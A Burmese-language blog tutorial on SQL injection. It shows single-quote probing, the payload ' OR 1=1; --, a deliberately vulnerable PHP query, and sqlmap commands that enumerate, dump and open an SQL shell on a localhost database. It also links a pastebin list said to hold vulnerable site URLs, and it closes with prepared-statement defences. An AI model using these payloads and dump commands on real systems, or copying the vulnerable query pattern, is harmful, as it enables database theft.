SQL Injection ကို လက်ရှိ အလုပ်လုပ်နေတဲ့ သူတွေ အတော်များများ ကြားဖူးပါလိမ့်မယ်။ SQL Injection ဆိုတာကတော့ လက်ရှိ ရှိတဲ့ query ကို ပြောင်းပြီး ရေးလိုက်တာပါပဲ။ အထူးသဖြင့် အခုမှ web development ကို လေ့လာနေတဲ့သူတွေ အတွက်ကတော့ SQL Injection က စိမ်း နေပါလိမ့်မယ်။ သို့ပေမယ့် SQL Injection ကို web development လုပ်တဲ့ သူတွေ သိထားဖို့ လိုပါတယ်။
How can we know ?
SQL Injection ရှိမရှိ ကို ဘယ်လို သိနိုင်သလဲဆိုတော့ အလွယ်ကူဆုံး နည်းကတော့ single quote (') နဲ့ စမ်းသပ်နိုင်ပါတယ်။
ဘယ်လို နေရာတွေမှာ စမ်းသပ်နိုင်သလဲ ဆိုတော့ login ဝင်တဲ့ နေရာတွေမှာ နောက်ပြီး search လုပ်တဲ့ textbox မှာ ' လေး ထည့်ပြီး စမ်းသပ်နိုင်ပါတယ်။
နောက်ပြီး တချို့ website တွေမှာ id=112 လိုမျိုး id ကို pass လုပ်ပေးထားပြီး database ကနေ တဆင့် id ပေါ်မှာ မူတည်ပြီးတော့ data တွေ ထုတ်ပြတဲ့ website တွေမှာ id=112 အစား id=' လေး ထည့်ပြီး စမ်းသပ်ကြည့်နိုင်ပါတယ်။
sql injection ရှိတဲ့ website တွေ ဆိုရင်တော့ ပုံမှန် မဟုတ်ပဲ အဖြူရောင် စာမျက်နှာ ပေါ်လာတာ ဒါမှမဟုတ် SQL error တက်နေတယ် ဘယ်လိုင်းမှာ စသည်ဖြင့် အသေးစိတ် ပေါ်လာတာတွေ ရှိပါတယ်။
http://pastebin.com/xd9Vxyn9
မှာ SQL injection ရှိတဲ့ URL တွေကို ဖော်ပြထားပါတယ်။
Why SQL Injection Happen
SQL Injection ဘာကြောင့် ဖြစ်ရတာလည်း ဆိုတော့ developer တွေ sql ရေးတဲ့ အခါမှာ sql injection အကြောင်း မသိတာကြောင့် ဖြစ်ပါတယ်။ ဒါကြောင့် web developer တွေ အနေနဲ့ SQL injection ကို မဖြစ်မနေ သိထားဖို့ လိုပါတယ်။
ပုံမှန် MySQL query ကို ကျွန်တော်တို့တွေ အောက်က လို ရေးသားကြပါတယ်။
SELECT first_name , last_name FROM employees WHERE first_name = 'Sample' LIMIT 5
PHP နဲ့ ဆိုရင်တော့
$first_name = "Sample";
$query = "SELECT first_name , last_name FROM employees WHERE first_name = '".$first_name."' LIMIT 5";
ဒီတော့ SQL Injection လုပ်တဲ့ အခါမှာတော့ Sample အစား
' OR 1=1; --
-- အနောက်မှာ space ပါပါတယ်။ -- ဆိုတာကတော့ comment ပါ။ -- အနောက်က စာတွေ အကုန်လုံးကို comment လို့ သတ်မှတ်ပါတယ်။ query ထဲမှာ အလုပ်မလုပ်ပါ။
ဆိုပြီး ကျွန်တော်တို့က data ကို ပို့လိုက်ပါတယ်။
အဲဒီ အခါမှာတော့ SQL ဟာ
SELECT first_name , last_name FROM employees WHERE first_name = '' OR 1=1; -- ' LIMIT 5
ဆိုပြီး ဖြစ်သွားတယ်။ အဲဒါဆိုရင်တော့ employees က data တွေ အကုန်ထွက်လာပါလိမ့်မယ်။
ပုံမှန်အားဖြင့် SQL Injection အကြောင်းကို မသိတဲ့ developer အချို့က အောက်ကလို မျိုး query ရေးတတ်ကြပါတယ်။ GET ကနေ data ယူပြီးတော့ query လုပ်တဲ့ သဘောပေါ့။
$sql = "SELECT first_name, last_name FROM employees WHERE first_name = '".$_GET['name']."' OR last_name ='" . $_GET['name'] . "' LIMIT 5";
$result = $conn->query($sql);
ကျွန်တော်တို့ website ကနေ ခေါ်ရင်တော့
http://localhost/sqlinjection/index.php?name=Georgi&submit=Search
ဆိုပြီး ခေါ်ထားပါတယ်။
အဲဒီ အခါမှာ
ဆိုပြီး result ပြပါမယ်။
ကျွန်တော်တို့က Georgi အစား အပေါ်မှာ ရေးထားခဲ့သလို
' OR 1=1 LIMIT 10; --
ဆိုပြီး အစားထိုးပြီး ခေါ်လိုက်ပါမယ်။
http://localhost/sqlinjection/index.php?name='%20OR%201=1%20LIMIT%2010;%20--%20&submit=Search
URL encode လုပ်ထားတာကြောင့် %20 ပါနေခြင်း ဖြစ်ပါတယ်။
အဲဒီ အခါမှာတော့ Row 5 ခု အစား database ထဲမှာ ရှိတဲ့ Row 10 ခု ထွက်လာပါတယ်။
ဒါဆိုရင်တော့ သေချာနေပါပြီ။ ကျွန်တော်တို့ ရေးထားတဲ့ index.php မှာ SQL Injection ရှိနေပါတယ်။
SQLMap
SQL Injection ရှိတာ သေချာပြီဆိုရင်တော့ database ထဲက data တွေကို ဆွဲထုတ်ဖို့အတွက် ကျွန်တော် ကတော့ SQLMap သုံးပါတယ်။ အခြား SQL Injection Tool တွေလည်း ရှိပါတယ်။
SQLMap ကို http://sqlmap.org ကနေ အရင် download ချပါ။ စက်ထဲမှာတော့ Python 2.7 ရှိဖို့ လိုအပ်ပါတယ်။
sqlmap ကို အောက်ကလို run လိုက်ပါမယ်။
python sqlmap.py -u "http://localhost/sqlinjection/index.php?name=Georgi&submit=Search" --dbs
အဲဒါဆိုရင်တော့ ကျွန်တော်တို့ inject လုပ်နေတဲ့ website က access လုပ်လို့ရတဲ့ database တွေ ထွက်လာပါမယ်။
Database ၂ ခု ကို access လုပ်လို့ ရတာ ကို တွေ့ပါမယ်။
လက်ရှိ website က ချိတ်ထားတဲ့ database ကို သိချင်ရင်တော့
python sqlmap.py -u "http://localhost/sqlinjection/index.php?name=Georgi&submit=Search" --current-db
ဆိုပြီး ရေးလိုက်ရင် website က သုံးထားတဲ့ database ကို ဖော်ပြပါမယ်။
ဒါဆိုရင် employees က table တွေကို ဆွဲထုတ်ကြည့်ရအောင်
python sqlmap.py -u "http://localhost/sqlinjection/index.php?name=Georgi&submit=Search" -D employees --tables
-D [database] --tables ဆိုပြီး table name တွေ ဆွဲထုတ် လို့ရပါမယ်။ -D အနောက်မှာ database နာမည့်ပေးရပါတယ်။
ဒါဆိုရင်တော့ ကျွန်တော်တို့ employees ထဲမှာ ရှိတဲ့ table တွေ ထွက်လာပါပြီ။
departments ထဲက data တွေကို ဆွဲထုတ်ကြည့်ပါမယ်။
python sqlmap.py -u "http://localhost/sqlinjection/index.php?name=Georgi&submit=Search" -D employees -T departments --dump
အခု ဆိုရင် deparments table ထဲက data တွေ ထွက်လာပါပြီ။
employees table က data တွေက များလိမ့်မယ်။ အရင်ဆုံး ဘာ columns တွေ ရှိလဲ အရင် ဆုံး ကြည့်ရအောင်။
python sqlmap.py -u "http://localhost/sqlinjection/index.php?name=Georgi&submit=Search" -D employees -T employees --columns
ဒါဆိုရင် columns တွေ ထွက်လာပါပြီ။ --dump
လုပ်လိုက်ရင် data တွေ များပါလိမ့်မယ်။ ကျွန်တော်တို့ SQL query နဲ့ limit လုပ်ပြီး ဆွဲထုတ်ကြည့်ပါမယ်။
python sqlmap.py -u "http://localhost/sqlinjection/index.php?name=Georgi&submit=Search" -D employees --sql-query="SELECT first_name FROM employees LIMIT 10"
ဆိုရင် ပထမဆုံး လူ ၁၀ ယောက်ထွက်လာပါပြီ။ နောက်ဆုံး ငှားထားတဲ့ လူကို ရှာကြည့်ရအောင် ။
အခု တစ်ခါတော့ sql shell ထဲကနေ query လုပ်ကြည့်ပါမယ်။
python sqlmap.py -u "http://localhost/sqlinjection/index.php?name=Georgi&submit=Search" -D employees --sql-shell
အနောက်မှာ --sql-shell
ဆိုတာလေး ထည့်လိုက်ရင် shell ထဲကို ရောက်သွားပါမယ်။
SELECT first_name, last_name, hire_date FROM employees ORDER BY hire_date DESC LIMIT 5
ဆိုတာကို ထည့်ပြီး ရိုက်ထည့်လိုက်ရင် နောက်ဆုံး ငှားထားတဲ့ လူစာရင်း ထွက်လာပါမယ်။ အနည်းငယ်တော့ ကြာပါတယ်။ database ထဲမှာ query run သလိုတော့ မမြန်ပါဘူး။
Post
အခုမှ web development ကို လေ့လာကာစ developer တွေ ထင်ကြတာကတော့ GET နဲ့ ပေးထားတဲ့ အတွက် value ကို ပြင်လို့ ရနေတယ်။ တကယ်လို့ POST သာ ပြောင်းလိုက်ရင် value ပြင်လို့ ရမှာ မဟုတ်ဘူးလို့ ထင်ကြပါတယ်။
GET ပဲ ဖြစ်ဖြစ် POST ပဲ ဖြစ်ဖြစ် HTTP မှာ Request နဲ့ Response သာ ရှိပါတယ်။ GET ဆိုရင် query string နဲ့ သွားပြီးတော့ POST ဆိုရင်တော့ Request ရဲ့ HTTPBody မှာ POST query အနေနဲ့ သွားကြပါတယ်။
<form action="index.php" method="POST">
<input type="text" name="name" value="" />
<input type="submit" name="submit" value="Search">
</form>
လို့ ပြင်လိုက်ပြီ ဆိုပါစို့။ SQL Injection ကို text box မှာ '
လေး ထည့်လိုက်ပြီးတော့ ရနေ တုန်းပါပဲ။ ဒါကြောင့် POST ပဲ ဖြစ်ဖြစ် GET ပဲ ဖြစ်ဖြစ် SQL Injection က ရှိနိုင်ပါတယ်။
ကျွန်တော်တို့ အောက်ကလို textfile တစ်ခု ဖန်တီးပါမယ်။
POST /sqlinjection/index_post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
name=Facello&submit=Search
အဲဒါက HTTP request file တစ်ခုပါ။ host က localhost , URL ကတော့ sqlinjection/index_post.php , POST နဲ့ ပို့လိုက်တဲ့ data ပါ။
အဲဒီ text file လေးကို sample.txt လို့ သိမ်း sqlmap.py နဲ့ နေရာ အတူတူမှာ ထားလိုက်ပါမယ်။ ပြီးရင်တော့
python sqlmap.py -r sample.txt --dbms=MYSQL --dbs
အဲဒါလေးကို run လိုက်ရင် အရင်လိုပဲ sql injection ကနေ database တွေကို ဖော်ပြပေးပါလိမ့်မယ်။
Prevent The SQL Injection
PHP 5.5 ရဲ့ အောက်က version တွေကို သုံးရင်တော့ mysql_real_escape_string
ကို အသုံးပြုနိုင်ပါတယ်။
$name = mysql_real_escape_string($_GET['name']);
$query = "SELECT first_name, last_name FROM employees WHERE first_name = '".$name."' OR last_name ='" . $name. "' LIMIT 5";
$result = mysql_query($query)
အခုနောက်ပိုင်းမှာတော့ mysqli ကို ပြောင်းသုံးကြပါတယ်။ mysqli နဲ့ ဆိုရင်တော့ ၂ နည်းရှိပါတယ်။ $conn->real_escape_string
သို့မဟုတ် prepare
ကို အသုံးပြု နိုင်ပါတယ်။
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$name = $_GET['name'];
$sql = "SELECT first_name, last_name FROM employees WHERE first_name = ? OR last_name = ? LIMIT 5";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss",$name,$name);
$stmt->execute();
$res = $stmt->get_result();
if($res->num_rows > 0 ) {
while($row = $res->fetch_array(MYSQLI_ASSOC)) {
echo "Name: " . $row["first_name"]. " " . $row["last_name"]. "<br>";
}
} else {
echo "0 results";
}
$conn->close();
PHP သာမဟုတ်ပါဘူး ASP.NET , JSP စတာတွေမှာလည်း prepare statement လုပ်ပြီးမှသာ query လုပ်သင့်ပါတယ်။ တိုက်ရိုက် query လုပ်တဲ့ အခါမှာ SQL Injection တွေ ဖြစ်နိုင်ပါတယ်။ ဒါကြောင့် အမြဲတန်း prepare statement လုပ်ပြီးမှသာ query သို့မဟုတ် execute လုပ်ဖို့ အရေးကြီးပါတယ်။
Not only Website but also in API
အချို့ website တွေက web site ပိုင်းမှာတော့ SQL injection ကို ကာကွယ်ထားပါတယ်။ သို့ပေမယ့် mobile ကနေ ခေါ်တဲ့ API ပိုင်းတွေမှာတော့ SQL Injection တွေ ဖြစ်နေပါတယ်။ Website ပိုင်းက ဘယ်လောက်ပဲ ကာကွယ်ပြီး ရေးထားပေမယ့် API ပိုင်းရေးတဲ့ အပိုင်းက ပေါက်နေရင်လည်း sql injection ကနေ database ကို dump လုပ်လို့ ရသွားပါလိမ့်မယ်။
ဒါကြောင့် database နဲ့ ချိတ်ဆက်တဲ့ အခါမှာတော့ SQL Injection မဖြစ်အောင် Prepare Stament ကို သိထားပြီးတော့ ထည့်သွင်းရေးသားပါ။
Leave a Reply